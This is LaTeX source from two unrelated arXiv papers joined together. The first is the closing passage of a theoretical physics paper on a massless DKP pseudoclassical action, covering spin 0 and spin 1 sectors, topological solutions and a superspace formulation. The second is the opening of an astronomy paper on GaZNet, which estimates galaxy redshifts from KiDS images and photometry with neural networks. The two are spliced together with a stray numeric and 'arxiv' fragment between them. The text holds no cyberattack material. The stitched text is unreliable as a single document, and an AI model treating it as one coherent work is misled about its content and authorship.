^{\nu }\gamma ^{\mu }\right) \label{q10}
\end{equation}
and $C$ is the charge conjugation matrix
\begin{equation}
C^{T}=-C. \label{q11}
\end{equation}
Considering the properties of the matrix $C$ we obtain the antisymmetrical
\begin{equation}
\left\vert \Phi \right\rangle _{\left[ \alpha _{1}\alpha _{2}\right]
}=a~\left( \gamma ^{5}C\right) _{\alpha _{1}\alpha _{2}}~\zeta
_{5}+a_{1}\left( \gamma ^{5}\gamma ^{\mu }C\right) _{\alpha _{1}\alpha
_{2}}\zeta _{5\mu } \label{q12}
\end{equation}
and the symmetrical part of the vector state.
\begin{equation}
\left\vert \Phi \right\rangle _{\left\{ \alpha _{1}\alpha _{2}\right\}
}=b\left( \gamma ^{\mu }C\right) _{\alpha _{1}\alpha _{2}}\zeta _{\mu
}+b_{1}\left( \Sigma ^{\mu \nu }C\right) _{\alpha _{1}\alpha _{2}}\zeta
_{\mu \nu }. \label{q13}
\end{equation}
\bigskip
Thus for the particular case of $O(2)$ symmetry we obtain
\begin{eqnarray}
p^{2}\left\vert \Phi \right\rangle _{\alpha _{1}\alpha _{2}} &=&0
\label{q14} \\
p^{\mu }\gamma _{\mu }^{(1)}\left\vert \Phi \right\rangle _{\alpha
_{1}\alpha _{2}} &=&0,\quad p^{\mu }\gamma _{\mu }^{(2)}\left\vert \Phi
\right\rangle _{\alpha _{1}\alpha _{2}}=0 \label{q15} \\
\gamma _{\mu }^{(1)}\gamma ^{\mu (2)}\left\vert \Phi \right\rangle _{\alpha
_{1}\alpha _{2}} &=&0 \label{q16}
\end{eqnarray}
these relations give the DKP equation for spin $0$ and spin $1$. The
relation (\ref{q16}) can be shown to be a projector that separates the
corresponding sector of the vector state $\left| \Phi \right\rangle _{\alpha
_{1}\alpha _{2}}.$
\subsection{Spin 0}
Let's take the antisymmetrical part of the vector state $\left\vert \Phi
\right\rangle _{\alpha _{1}\alpha _{2}}$ and replace it in one of the
equations (\ref{q15}), then we obtain
\begin{equation}
\left( p_{\mu }\gamma ^{\mu }\right) _{\alpha \alpha _{1}}\left\vert \Phi
\right\rangle _{\left[ \alpha _{1}\alpha _{2}\right] }=\left( p_{\mu }\gamma
^{\mu }\right) _{\alpha \alpha _{1}}\left[ a\left( \gamma ^{5}C\right)
_{\alpha _{1}\alpha _{2}}\zeta _{5}+a_{1}\left( \gamma ^{5}\gamma ^{\nu
}C\right) _{\alpha _{1}\alpha _{2}}\zeta _{5\nu }\right] =0 \label{s1}
\end{equation}
multiplying on the right side by $\left( C^{-1}\gamma ^{5}\right) _{\alpha
_{2}\alpha }$ and considering $\gamma _{5}^{2}=1$, we have
\begin{equation}
p_{\mu }\left[ a\left( \gamma ^{\mu }\right) _{\alpha \alpha }\zeta
_{5}-a_{1}\left( \gamma ^{\mu }\gamma ^{\nu }\right) _{\alpha \alpha }\zeta
_{5\nu }\right] =0 \label{s2}
\end{equation}
with the use of the trace properties the equation (\ref{s2}) results in
\begin{equation}
a_{1}\left( p^{\mu }\zeta _{5\mu }\right) =0 \label{s3}
\end{equation}
On the other hand, if we multiply the equation (\ref{s1}) by $\left(
C^{-1}\gamma ^{5}\gamma ^{\lambda }\gamma ^{\rho }\right) _{\alpha
_{2}\alpha }$ and taking the trace operation we got to
\begin{equation}
a_{1}\left( p^{\mu }\zeta _{5}^{\nu }-p^{\nu }\zeta _{5}^{\mu }\right) =0
\label{s4}
\end{equation}
for $a_{1}\neq 0$, one solution for the last relation is given by
\begin{equation}
\zeta _{5}^{\mu }=p^{\mu }\zeta _{5} \label{s5}
\end{equation}
Thus equations (\ref{s3}) and (\ref{s4}) are the equations for the spin $0$
particles and the equation (\ref{s3}) gives the massless Klein-Gordon
equation for the scalar field $\zeta _{5}$.
Now if we multiply (\ref{s1}) on the right side by $\left( C^{-1}\gamma
^{5}\gamma ^{\lambda }\right) _{\alpha _{2}\alpha }$ we obtain
\begin{equation}
p_{\mu }\left[ a\left( \gamma ^{\lambda }\gamma ^{\mu }\right) _{\alpha
\alpha }\zeta _{5}-a_{1}\left( \gamma ^{\lambda }\gamma ^{\mu }\gamma ^{\nu
}\right) _{\alpha \alpha }\zeta _{5\nu }\right] =0 \label{s6}
\end{equation}
using again the trace properties for the Dirac matrices a third relation is
obtained
\begin{equation}
a\left( p^{\mu }\zeta _{5}\right) =0 \label{s7}
\end{equation}
this equation is compatible with the equation (\ref{s3}) and (\ref{s4}) if
only if $a=0.~$
\subsection{Spin 1}
Now we take the symmetrical part of the vector state $\left\vert \Phi
\right\rangle _{\alpha _{1}\alpha _{2}}$, the equation (\ref{q15}) becomes
\begin{equation}
\left( p_{\mu }\gamma ^{\mu }\right) _{\alpha \alpha _{1}}\left[ b\left(
\gamma ^{\nu }C\right) _{\alpha _{1}\alpha _{2}}\zeta _{\nu }+b_{1}\left(
\Sigma ^{\nu \lambda }C\right) _{\alpha _{1}\alpha _{2}}\zeta _{\nu \lambda }%
\right] =0. \label{sp1}
\end{equation}
\bigskip Multiplying on the right side by~ $\left( C^{-1}\gamma ^{\rho
}\right) _{\alpha _{2}\alpha }$ we get
\begin{equation}
p_{\mu }\left[ \left( \gamma ^{\mu }\gamma ^{\nu }\gamma ^{\rho }\right)
_{\alpha \alpha }\zeta _{\nu }+\left( \gamma ^{\mu }\Sigma ^{\nu \lambda
}\gamma ^{\rho }\right) _{\alpha \alpha }\zeta _{\nu \lambda }\right] =0
\label{sp4}
\end{equation}
using the trace properties for the $\gamma ^{\mu }$-matrices it simplifies
to give
\begin{equation}
b_{1}\left( p^{\lambda }\zeta _{\lambda \rho }\right) =0 \label{sp5}
\end{equation}
Multiplying (\ref{sp1}) by $\left( C^{-1}\gamma ^{\rho }\gamma ^{\sigma
}\gamma ^{\tau }\right) _{\alpha _{2}\alpha }$ it simplifies to be
\begin{equation}
p_{\mu }\left[ \left( \gamma ^{\mu }\gamma ^{\nu }\gamma ^{\rho }\gamma
^{\sigma }\gamma ^{\tau }\right) _{\alpha \alpha }\zeta _{\nu }+\left(
\gamma ^{\mu }\Sigma ^{\nu \lambda }\gamma ^{\rho }\gamma ^{\sigma }\gamma
^{\tau }\right) _{\alpha \alpha }\zeta _{\nu \lambda }\right] =0 \label{m55}
\end{equation}
tracing the equation above and considering the antisymmetric character of
the tensor field\ $\zeta ^{\rho \tau }$ we get the Bianchi relation
\begin{equation}
b_{1}\left( p^{\rho }\zeta ^{\tau \sigma }+p^{\sigma }\zeta ^{\rho \tau
}+p^{\tau }\zeta ^{\sigma \rho }\right) =0 \label{m56}
\end{equation}
If we set $b_{1}\neq 0$, one possible solution of the relation
(\ref{m56}) can be obtained if we put
\begin{equation}
\zeta ^{\mu \nu }=p^{\mu }\zeta ^{\nu }-p^{\nu }\zeta ^{\mu } \label{m57}
\end{equation}
i.e. the strength tensor of the Maxwell theory and the equation (\ref{sp5})
becomes the Maxwell equation for the electromagnetic field .
\bigskip We can obtain more two equations:\ the first one is gotten
multiplying (\ref{sp1}) on the right side by $\left( C^{-1}\right) _{\alpha
_{2}\alpha }$ we have
\begin{equation}
bp_{\mu }\left( \gamma ^{\mu }\gamma ^{\nu }\right) _{\alpha \alpha }\zeta
_{\nu }=0 \label{sp2}
\end{equation}
with the help of the trace properties for the Dirac matrices we obtain
\begin{equation}
b\left( p_{\mu }\zeta ^{\mu }\right) =0, \label{sp3}
\end{equation}
to get the second one we multiply (\ref{sp1}) by $\left( C^{-1}\gamma ^{\rho
}\gamma ^{\sigma }\right) _{\alpha _{2}\alpha }$ and next we take the trace
operation over the $\gamma ^{\mu }$-matrices to obtain
\begin{equation}
b\left( p^{\mu }\zeta ^{\nu }-p^{\nu }\zeta ^{\mu }\right) =0 \label{sp6}
\end{equation}
The equations (\ref{sp3}) and (\ref{sp6}) are compatible with the equations (%
\ref{sp5}), (\ref{m56}) and (\ref{m57}) if and only if we set $b=0$.
\subsection{Topological solutions}
On the other hand we can get two additional solutions if we set $b\neq 0$
and $b_{1}=0$. Thus the first solution is getting when we solve the equation
(\ref{sp3}) choosing
\begin{equation}
\zeta ^{\mu }=p_{\nu }\zeta ^{\mu \nu } \label{ts-1}
\end{equation}
where $\zeta ^{\mu \nu }$ is an antisymmetrical tensor field satisfying the
equation (\ref{sp6}). \
\bigskip
And the second solution is founded when set the vector field in the equation
(\ref{sp3}) being
\begin{equation}
\zeta ^{\mu }=\epsilon ^{\mu \nu \alpha \beta }p_{\nu }\zeta _{\alpha \beta }
\label{ts-2}
\end{equation}
The equations (\ref{ts-1}) and (\ref{ts-2}) are topological field solutions
for the spin 1 and spin 0 sectors \cite{buchbinder}, respectively. Such
topological solutions were found in the massless DKP theory by
Harish-Chandra \cite{reft0} and in the context of usual Klein-Gordon and
Maxwell theories studying their higher tensor representations by Deser and
Witten \cite{reft1} and Townsend \cite{reft2}.
\section{Superspace Formulation}
As a natural way we extend the previous analysis of the action and give the
formulation in terms of superspace.
Firstly we consider the motion of the particle in the large superspace (big
SUSY) $\left( X_{\mu },\Theta _{\alpha }\right) $\footnote{%
When the interaction is switched on, we must to include a complex grassmann
spinor field $\overline{\Theta }_{\overset{.}{\alpha }}.$ This enable us to
consider theories with interacting charged particles.} whose trajectory is
parametrized by the proper supertime $\left( \tau ,\eta _{1},\eta
_{2}\right) $ of dimension $\left( 1/2\right) $, here $\eta _{1},\eta _{2}$\
are the grassmann real superpartners of the convencional time $\tau $. In
this way the coordinates of the particle are scalar superfields in the
little superspace (little SUSY). For this case we have\footnote{%
We recall that this form is valid only for the case of two indices $i=1,2$.
If we want to analyse theories with a bigger internal symmetry $O\left(
N\right) ,$ we need to include a more terms.}
\begin{eqnarray}
X_{\mu }\left( \tau ,\eta _{1},\eta _{2}\right) &=&x_{\mu }\left( \tau
\right) +i\eta _{i}\psi _{\mu }^{i}\left( \tau \right) +i\eta _{i}\eta
_{j}F_{\mu }^{ij}\left( \tau \right) \label{su1} \\
\Theta _{\alpha }\left( \tau ,\eta _{1},\eta _{2}\right) &=&\theta _{\alpha
}\left( \tau \right) +\eta _{i}\lambda _{\alpha }^{i}\left( \tau \right)
+\eta _{i}\eta _{j}\mathcal{F}_{\alpha }^{ij}\left( \tau \right) \label{su2}
\end{eqnarray}
where $i,j=1,2;$ $\psi _{\mu }^{i}$ is the grassman superpartner of the
common coordinate $x_{\mu };$ $\lambda _{\alpha }^{i}$\ is a commuting
majorana spinor, superpartner of the grassmann variables $\theta _{\alpha }$%
. $F_{\mu }^{ij}=-F_{\mu }^{ji}$ and $\mathcal{F}_{\alpha }^{ij}=-\mathcal{F}%
_{\alpha }^{ji}$ are antisymmetric fields.
In order to construct an action which is invariant under general
transformations in superspace we introduce the supereinbein $E_{M}^{A}\left(
\tau ,\eta _{1},\eta _{2}\right) $, where $M$ [$A$] are a curved [tangent]
indices and $D_{A}=E_{A}^{M}\partial _{M}$ is the supercovariant general
derivatives, here $E_{A}^{M}$ is the inverse of $E_{M}^{A}$. If we take a
special gauge
\begin{equation}
E_{M}^{\alpha }=\Lambda \overline{E}_{M}^{\alpha },\quad E_{M}^{a}=\Lambda
^{1/2}\overline{E}_{M}^{a} \label{su3}
\end{equation}
where
\begin{equation}
\overline{E}_{\mu }^{\alpha }=1,\quad \overline{E}_{\mu }^{a}=0,\quad
\overline{E}_{m}^{\alpha }=-i\eta ,\quad \overline{E}_{m}^{a}=1 \label{su4}
\end{equation}
is the flat space supereinbein, then the superscalar field $\Lambda $ an the
derivative $D_{A}$ takes the form
\begin{eqnarray}
\Lambda \left( \tau ,\eta _{1},\eta _{2}\right) &=&e\left( \tau \right)
+i\eta _{i}\chi _{i}\left( \tau \right) +i\eta _{i}\eta _{j}f_{ij}\left(
\tau \right) , \label{su5} \\
\quad \overline{D}_{a} &\equiv &D_{i}=\frac{\partial }{\partial \eta ^{i}}%
+i\eta _{i}\frac{\partial }{\partial \tau },\quad \overline{D}_{\alpha
}=\partial _{\tau } \label{su6}
\end{eqnarray}
here $e\left( \tau \right) $ is the graviton field and $\chi _{i}\left( \tau
\right) $ the gravitino field of the two-dimensional $n=2$ supergravity; $%
f_{ij}=-f_{ji}$ is an antisymmetric matrix field. It is no difficult to
prove that $\left( \overline{D}_{a}\right) ^{2}\equiv \left( D_{i}\right)
^{2}=i\partial _{\tau }$
In this way the extension to superspace of the action (\ref{p4b}), is given
by\footnote{%
The presence of the superscalar field $\Lambda $ is to guarantee the local
SUSY invariance.}
\begin{equation}
S=\frac{1}{4}\int d\tau d\eta _{1}d\eta _{2}\Lambda ^{-1}\epsilon
_{ij}D_{i}X_{\mu }D_{j}X^{\mu } \label{su7}
\end{equation}%
here \ $\epsilon _{ij}$ is the antisymmetric matrix: $\epsilon
_{12}=-\epsilon _{21}=1,$ $\epsilon _{11}=\epsilon _{22}=0$. Using the
property $\Lambda \Lambda ^{-1}=1$ for the supereinbein field we obtain
\begin{eqnarray}
\Lambda ^{-1}\left( \tau ,\eta _{1},\eta _{2}\right) &=&e^{-1}\left( \tau
\right) -ie^{-2}\left( \tau \right) \eta _{i}\chi _{i}\left( \tau \right)
-ie^{-2}\left( \tau \right) \eta _{i}\eta _{j}f_{ij}\left( \tau \right)
\notag \\
&&+e^{-3}\left( \tau \right) \eta _{i}\eta _{j}\chi _{i}\left( \tau \right)
\chi _{j}\left( \tau \right) \label{su8}
\end{eqnarray}%
After some manipulations and integrating over the grassmann variables we
have
\begin{eqnarray}
S &=&\int d\tau \left( -\frac{1}{2}e^{-1}\overset{.}{x}^{2}+\frac{i}{2}%
e^{-1}\psi _{i}\overset{.}{\psi }_{i}+\frac{i}{2}e^{-2}\chi _{i}\psi _{i}%
\overset{.}{x}+\frac{i}{2}e^{-2}f_{ij}\psi _{i}\psi _{j}\right. \notag \\
&&\left. +\frac{1}{2}e^{-3}\chi _{i}\psi _{i}\chi _{j}\psi
_{j}+e^{-1}F^{2}-ie^{-2}F_{ij}\chi _{i}\psi _{j}\right) \label{su9}
\end{eqnarray}%
redefining the fields
\begin{equation}
\chi =e^{1/2}\chi ^{\prime },\quad \psi =e^{1/2}\psi ^{\prime },\quad
f=ef^{\prime },\quad F=eF^{\prime } \label{su10}
\end{equation}%
we obtain
\begin{eqnarray}
S &=&\int d\tau \left( -\frac{1}{2}e^{-1}\overset{.}{x}^{2}+\frac{i}{2}\psi
_{i}\overset{.}{\psi }_{i}+\frac{i}{2}e^{-1}\chi _{i}\psi _{i}\overset{.}{x}+%
\frac{i}{2}f_{ij}\psi _{i}\psi _{j}\right. \notag \\
&&\left. +\frac{1}{2}e^{-1}\chi _{i}\psi _{i}\chi _{j}\psi
_{j}+eF^{2}-iF_{ij}\chi _{i}\psi _{j}\right) \label{su11}
\end{eqnarray}%
we see that this action is identical to the proposed in (\ref{p4b}) when we
put $F=\chi \psi $, i.e. when the fermion coordinate and the gravitino field
are coupled.
This shows that considering the correct inclusion of internal symmetries in
the superspace formulation we obtain, in the special case, the same action
proposed from the pseudoclassical point of view. The internal symmetry group
$O\left( N\right) $ is connected to the number of grassmann variables $\eta
_{i}.$
\section{Conclusions}
In this work we give an action for the massless DKP theory by using
Grassmann variables and the consistence of the equations of motions are
assured by means of the inclusion of boundary terms. We also verified the
invariance under $\tau $-reparametrizations, local SUSY and internal group $%
O(N)$ transformations, the generators of these transformations are
also found. We carried out the constraint analysis of the theory and
verified that after quantization a possible inconsistency can
appear, nevertheless the further analysis allow us to solve it with
the introduction of some parameters that play a role of regulators
of the theory. By the way an important result in this context was
obtained, i.e. an additional topological solution for the spin 0 and
1 is derived from this model. As a natural continuation of the
presented action we extended the studies to superspace formalism
obtaining under some conditions the same initial pseudoclassical
action.
For the further development of the theory we are working to accomplish the
analysis through the most powerful method for a theory with constraints,
i.e. via the BFV-BRST method, which can open the possibility of calculating
the propagator of the resulting theory using the path integral
representation. And, for further studies the inclusion of interactions
(i.e., electromagnetic, Yang-Mills and gravitational fields) in the theory
will be discussed.
\subsection*{Acknowledgements}
RC (grant 01/12611-7) and MP thank FAPESP and CAPES for full
support, respectively, BMP thanks CNPq and FAPESP (grant 02/00222-9)
for partial support, JSV thanks FAPESP (grant 00/03812-6) and
FAPEMIG (grant 00193/06) for partial and full support, respectively.
|
1,477,468,750,073 | arxiv | \section{Introduction}
\label{sec:intro}
In the last decade, the Stage \uppercase\expandafter{\romannumeral 3}
sky surveys, e.g., Kilo-Degree Survey (KiDS, \citealt{deJong2013ExA....35...25D}), Hyper Suprime-Cam (HSC; \citealt{Aihara+18_HSC}), Dark Energy Survey (DES; \citealt{2005+DES}), have provided images of hundreds of millions of galaxies at optical or near-infrared (NIR) wavelengths. These surveys have achieved significant advances in cosmology (e.g., \citealt{Hildebrandt2017MNRAS.465.1454H}; \citealt{Hikage2019PASJ...71...43H}; \citealt{Abbott2022PhRvD.105b3520A}) and galaxy formation and evolution (e.g., \citealt{Roy+18}; \citealt{Greco2018ApJ...857..104G}; \citealt{Goulding2018PASJ...70S..37G}; \citealt{Adhikari2021ApJ...923...37A}), but, at the same time, have left many open questions about the overall cosmological model (\citealt{2021APh...13102606D}).
In the next decade, the Stage \uppercase\expandafter{\romannumeral 4}
surveys (\citealt{Weinberg2013PhR...530...87W}) , e.g., Euclid (\citealt{Laureijs+11_Euclid}), Vera Rubin Legacy Survey in Space and Time (VR/LSST; \citealt{Izevic+19_LSST}), China Space Station Telescope (CSST; \citealt{Zhan+18_csst}), will observe billions of galaxies with photometric bands ranging from the ultraviolet to the NIR.
This unprecedented amount of
data will help us to get a deeper insight into cosmology and galaxy evolution.
For instance, we will be able to gain a more detailed understanding of the dark matter distribution in the universe, constrain the equation of state of the dark energy
with weak lensing (e.g., \citealt{Laureijs2011arXiv1110.3193L}; \citealt{Hildebrandt2017MNRAS.465.1454H};
\citealt{Abbott2018PhRvD..98d3526A};
\citealt{Gong2019ApJ...883..203G};
\citealt{Joachimi2021A&A...646A.129J};
\citealt{Heymans2021A&A...646A.140H}), study the mass-size relation of galaxies at higher redshift ($z>1.0$), and explore the stellar and dark matter assembly in galaxies and clusters (e.g., \citealt{Yang2012ApJ...752...41Y}; \citealt{Moster2013MNRAS.428.3121M}; \citealt{Behroozi2019MNRAS.488.3143B}, \citealt{2022FrASS...8..197N}) over enormous statistical samples.
To achieve real breakthroughs in these areas,
accurate galaxy redshifts are essential, as, by providing object distances and lookback time, they permit to trace those objects back in time.
Precise redshifts can only be estimated from galaxy spectra: current spectroscopic surveys, such as the Sloan Digital Sky Survey (SDSS, \citealt{Ahumada2020ApJS..249....3A}) and Galaxy and Mass Assembly (GAMA \citealt{Baldry2018MNRAS.474.3875B}), have collected data for millions of galaxies, while future surveys, e,g, the Dark Energy Spectroscopic Instrument (DESI, \citealt{DESI_Collaboration_2016}) and the 4-meter Multi-Object Spectroscopic Telescope (4MOST, \citealt{deJong2019_4MOST}), plan to expand spectroscopic measurements to samples of
hundreds of millions of galaxies.
However, due to the limited observation depth and prohibitive exposure times, it is impossible to spectroscopically follow up the even larger and fainter samples of billions of galaxies expected in future imaging surveys.
A fast, low-cost alternative is offered by
photometric redshifts (photo-$z$) estimated from deep, multi-band photometry.
The idea of photo-$z$ was initially proposed by \cite{1962IAUS...15..390B}, where they used a redshift-magnitude relation to predict the redshifts from the galaxy luminosities.
Without spectroscopic observations and the knowledge of galaxy evolution, the relation could still provide acceptable redshifts, even using only a limited number of filters.
Later, this method was adopted to
extensively estimate galaxy redshifts (e.g., \citealt{Couch1983, Koo1985AJ, Connolly1995AJ, Connolly1997hst,Wang1998AJ}). However,
albeit straightforward, this method has some limitations: 1) the redshift-magnitude relation
is inferred in advance from bright galaxies
via spectroscopy, and 2) the relation is hard to extend to fainter galaxies.
Another method used to determine photo-$z$ is spectral-energy-distribution (SED, hereafter) fitting.
This method is based on galaxy templates, both theoretical and empirical.
\begin{figure*}
\centerline{\includegraphics[width=15.5cm]{cnn_models.pdf}}
\caption{The Machine Learning models are used in this work. Up: CNN structure of GaZNet-I4 with only galaxy images as input. Middle: ANN structure of GaZNet-C4 and GaZNet-C9, with only catalog as input; bottom: structure of GaZNet-1, fed by both galaxies images and the corresponding catalogs.}
\label{fig:CNN_model}
\vspace{0.5cm}
\end{figure*}
By fitting the observed multi-band photometry to the SED from galaxy templates, one can infer individual galaxy photo-$z$. With knowledge of galaxy types and their evolution with redshift, this method can be expanded to faint galaxies, and even extrapolated to redshifts higher than the spectroscopic limit.
There is a variety of
photo-$z$ codes based on SED fitting. Among the most popular ones, there is HyperZ (\citealt{Bolzonella2000A&A}),
which makes use of multi-band magnitudes of galaxies and the corresponding errors
to best fit the SED templates by minimizing a given $\chi^2$ function.
An extension of HyperZ, known as Bayesian photometric redshifts (BPZ, \citealt{2000ApJ...536..571B_BPZ}), is another popular photo-$z$ tool. Instead of simple
$\chi^2$ minimization, BPZ introduces the prior knowledge of the redshift distribution of magnitude-limited samples under a
Bayesian framework, which effectively reduces the number of catastrophic outliers in the predictions.
Besides these fitting tools, Machine Learning (ML) algorithms, especially Artificial Neural Networks (ANNs), have started to be extensively used to determine galaxy photo-$z$ (e.g., \citealt{Collister2007MNRAS, Abdalla2008MNRAS, Banerji2008MNRAS}). Given a training sample of galaxies with spectroscopic redshifts, ML algorithms can learn the relationship between redshift and multi-band photometry. If the training sample covers a representative redshift range and the ML model is well trained, photo-$z$ can be obtained with extremely high precision. Different tools for photo-$z$ based on ML have been successfully tested on multi-band photometry data, for example estimating photo-$z$ with ANNs (ANNz, \citealt{Collister2004PASP..116..345C}; ANNz2 \citealt{Sadeh2016PASP..128j4502S}) or the Multi-Layer Perceptron trained with Quasi-Newton Algorithm (MLPQNA, \citealt{Cavuoti2012A&A_MLPQNA}, \citealt{Amaro2021+photz}).
{
Accurate photometry measurements are extremely important for ML and SED fitting methods, as
the presence of noisy or biased photometry
would end up in large scatter and a high outlier fraction in the predicted values.
For instance, biased photometry is typically produced in the case of close galaxy pairs or in the presence of bright neighbours.
On top of that, there are well-known degeneracies between colours and redshift plaguing late-type systems, in particular, as high-$z$ star-forming galaxies can be confused with lower redshift ellipticals.
These examples suggest that there might be some crucial information encoded in images that can help solving typical systematics, affecting the methods based on photometry only.}
ML has been shown to be able to learn
galaxy properties like their size, morphology, and their environment from images. This information can help suppress catastrophic errors and improve the accuracy of the photo-$z$ predictions. In recent years, many studies have been
trying to estimate photo-$z$ directly from multi-band images using deep learning. A first attempt was presented by \citet{Hoyle2016A&C....16...34H},
where they estimated photo-$z$
with a Deep Neural Network (DNN) applied to full galaxy imaging data. Lately, a similar approach has been applied to data from the Sloan Digital Sky Survey and Hyper Suprime-Cam Subaru Strategic Program (e.g., \citealt{D'Isanto2018A&A...609A.111D, Pasquet2019A&A...621A..26P, Schuldt2021A&A...651A..55S, Dey2021arXiv211203939D}). These analyses showed that unbiased photo-$z$ can be estimated directly from multi-band images.
A more simplistic method for taking morphology features into account - e.g. size, ellipticity and S{\'e}rsic index - has been proposed in \citet{Soo2018MNRAS.475.3613S}, where they added structural parameters to the photometric catalogs used in standard ANNs.
In this paper, we develop a new ML method to estimate the {\it morphoto-$z$}, i.e. redshifts estimated from the combination of images and catalogs of photometry and colour measurements. In the following, we distinguish these morphoto-$z$ from the redshift predicted from photometry only, the classical {\it photo-$z$}, and from the ones obtained from images only, which - for convenience - we call {\it morpho-$z$}.
This is the first time such a technique has been developed and applied to real data: specifically, we will use optical images and optical+NIR multi-band photometry from the KiDS survey. Just before the submission of this paper, a similar approach was proposed by \citet{Zhou2021arXiv211208690Z}, but this latter work is based on (CSST) simulated data only.
This work is organized as follows. In \S2, we describe how to build the ML models and to collect the training and testing samples. In \S3, we train the networks and show the performance of the tools. In \S4 and \S5, we discuss the results and draw some conclusions.
\section{The ML method}
In this work, we intend to couple standard ML regression tools, usually applied to galaxy multi-band photometry, with Deep Learning techniques, to improve the estimates of galaxy redshifts using the information from features distilled from galaxy images.
In particular, we want to address the following questions:
1) can redshifts be estimated directly from multi-band images of KiDS galaxies, and how does typical accuracy compare to ML tools based on integrated photometry and colour measurements only? 2) If any, how much improvement in precision and scatter can images and catalogs add to tools combining all together?
To answer these questions, we
have developed and compared four ML tools
to estimate the galaxy redshifts. These differ - among each other - for the type of input data they can work with.
In this section, we start by describing the structures and the training of these four tools.
\subsection{Network architectures}
\label{sec:arch}
The ML parts of our networks are constituted by ANNs.
These have been proved to work well on catalogs made of magnitudes and colour measurements (e.g., \citealt{Collister2007MNRAS, Abdalla2008MNRAS, Banerji2008MNRAS,Cavuoti+15_KIDS_I, Brescia2014A&A,deJong2017A&A...604A.134D, Bilicki2018A&A...616A..69B,Bilicki2021A&A...653A..82B}). A typical ANN structure consists of three main parts: input, hidden, and output layers. The input and the output layers are used to load the data in the network and to issue the predictions. The hidden layers, composed of fully connected artificial neurons in a sequence of multiple layers, are used to extract features. These features are subsequently abstracted to allow the networks to determine the final outputs.
In redshift estimates, the inputs of the networks are catalogs of some form of multi-band aperture photometry of galaxies, i.e. a measurements of the total flux in different
filters , usually from optical to the NIR wavelengths.
The Deep Learning components of the four tools are constituted by Convolutional Neural Networks (CNN, \citealt{1990Handwritten}), which are an effective family of
algorithms for feature extraction from images.
CNNs mimic the biological perception mechanisms with convolution operations.
This makes them specially suitable for image processing, pattern recognition and other tasks relative to images (e.g., \citealt{2018MNRAS.476.3661D, 2018MNRAS.479..415A,2020MNRAS.491.1554W,2020A&C....3200390C}; \citealt{Li2020_DR4lens,Li2021_GaLNet,Li2021_DR5lens}; \citealt{2021ApJ...916....4T}). The CNNs have become popular years after its introduction, because of the significant progress in the graphics processing unit (GPU) technology.
\begin{figure*}
\centerline{\includegraphics[width=18cm]{para_distri.pdf}}
\caption{The distribution of some relevant parameters of the training and testing data. In the top row, number counts are in linear scale, while in the bottom row number counts are are in logarithmic scale. The first panel on the left shows the original spectroscopic sample of the 148\,521 galaxies collected in KiDS+VIKING. However, only the 134\,148 galaxies located between the two vertical dashed lines (spec-$z$$=0.04$ and spec-$z$$=3$) are used in this work for training and testing the GaZNets. For these galaxies, we show the MAG$\_$AUTO and SNRs in the second and third panels.}
\label{fig:para_distri}
\end{figure*}
Here below, we introduce the structures of the first series of algorithms for ``Galaxy morphoto-Z with neural Networks'' (GaZNets, hereafter). These are introduced to perform galaxy morpho/photo-$z$s using different combinations of inputs, including multi-band photometry and imaging (see Fig. \ref{fig:CNN_model}). In details:
\begin{itemize}
\item {\bf GaZNet$-$I4}. This is a CNN model, which makes use of 4 optical bands ($u, g, r, i$) galaxy images, with a cutout size of $8\times8''$ (corresponding to $40\times40$ pixels, see \S\ref{sec:train_test_data}), as input. The model is a slightly modified architecture from VGGNet (\citealt{Simonyan2014}). It is constituted of four blocks made of different numbers of convolutional layers. Each of the first two blocks contains two layers, and of the other two blocks contain three layers.
After the four blocks, a flatten layer is used to transform the high dimensional features into one-dimensional features. Finally, we adopt 3 fully connected layers to combine the low-level features into higher-level ones and output the predicted redshift.
\item {\bf GaZNet$-$C4}. This is a simple ANN structure with 2 blocks made of 4 fully connected layers, separated by a flatten layer. The input is an optical 4-band ($u,g,r,i$) catalog of magnitude and colour measurements. Since we use the information from the same bands, comparing GaZNet$-$I4 and GaZNet$-$C4 allows us to quantify the impact of the imaging and photometry on the redshift estimates.
\item {\bf GaZNet$-$C9}. It has the same structure as GaZNet$-$C4, but it is input with the 4-band optical catalogs from KiDS plus the 5-band catalogs from the VISTA Kilo-degree Infrared Galaxy survey (VIKING, \citealt{Edge+14_VIKING-DR1}, see \S\ref{sec:train_test_data} for details).
Using a broader wavelength baseline, GaZNet$-$C9
will allow us to estimate the impact of the multi-band coverage on the ANN redshift predictions.
\item {\bf GaZNet-1}. This is the reference network we have developed: the input is the combination of the $r$-band images and the multi-band photometry catalogs. The GaZNet-1 has been designed to have a two-path structure.
The first path comprises 4 blocks as GaZNet$-$I4, while the second is made of 8 fully connected layers as GaZNet$-$C4 and C9. After a flatten layer, the features from each path are concentrated together. Finally, 5 fully connected layers are added to combine the features from images and catalogs to generate
the final redshift predictions.
\end{itemize}
Of the four tools illustrated above, the first three are mainly designed to test the impact of the different inputs on the final redshift estimates. Being constructed with the same structure assembled in the final GaZNet-1, i.e. the one to be used for science, they guarantee the homogeneity of the treatment of the input data (see Fig. \ref{fig:CNN_model}).
In this first series of GaZNets, we do not consider the magnitude ratios between different bands as inputs, although there are experiments suggesting that they can improve the precision (see e.g., \citealt{2018A&A...616A..97D}, \citealt{2019A&A...624A..13N}). We plan to implement this in future analyses, because here we are interested in checking the advantages of the combination of images and photometry compared to previous analyses made on the same data (see \S\ref{sec:test_external}).
\subsection{Training and testing data}
\label{sec:train_test_data}
The dataset used in this work is collected from KiDS and VIKING, two twin surveys covering the same $1350$ deg$^2$ sky area, in optical and NIR bands, respectively.
KiDS observations are carried out with the VST/Omegacam telescope (\citealt{Capaccioli2011Msngr.146....2C}; \citealt{Kuijken2011Msngr.146....8K})
in 4 optical filters ($u, g, r, i$), with a spatial resolution of 0.2$''$/pixel. The $r$-band images are observed with the best seeing (average FWHM$\sim0.7''$), and its mean limiting AB magnitude ($5\sigma$ in a $2''$ aperture) is $25.02\pm0.13$. The seeing of the other 3 bands ($u, g$ and $i$) is slightly worse than that of the $r$-band i.e. FWHMs $<1.1''$, and the mean limiting AB magnitudes are also fainter, i.e. $24.23\pm0.12$, $25.12\pm0.14$, $23.68\pm0.27$ for $u, g$ and $i$, respectively (\citealt{Kuijken+19_KiDS-DR4}).
VIKING is carried out with the VISTA/VIRCAM (\citealt{Sutherland2015A&A...575A..25S_VISTA}) and aims at
complementing KiDS observations with five NIR bands ($Z, Y, J, H$ and $K$s). The median value of the seeing in the images is $\sim 0.9''$ (\citealt{Sutherland2015A&A...575A..25S_VISTA}), and the AB magnitude depths are 23.1, 22.3, 22.1, 21.5 and 21.2 in the five bands (\citealt{Edge2013Msngr_VIKING}), respectively.
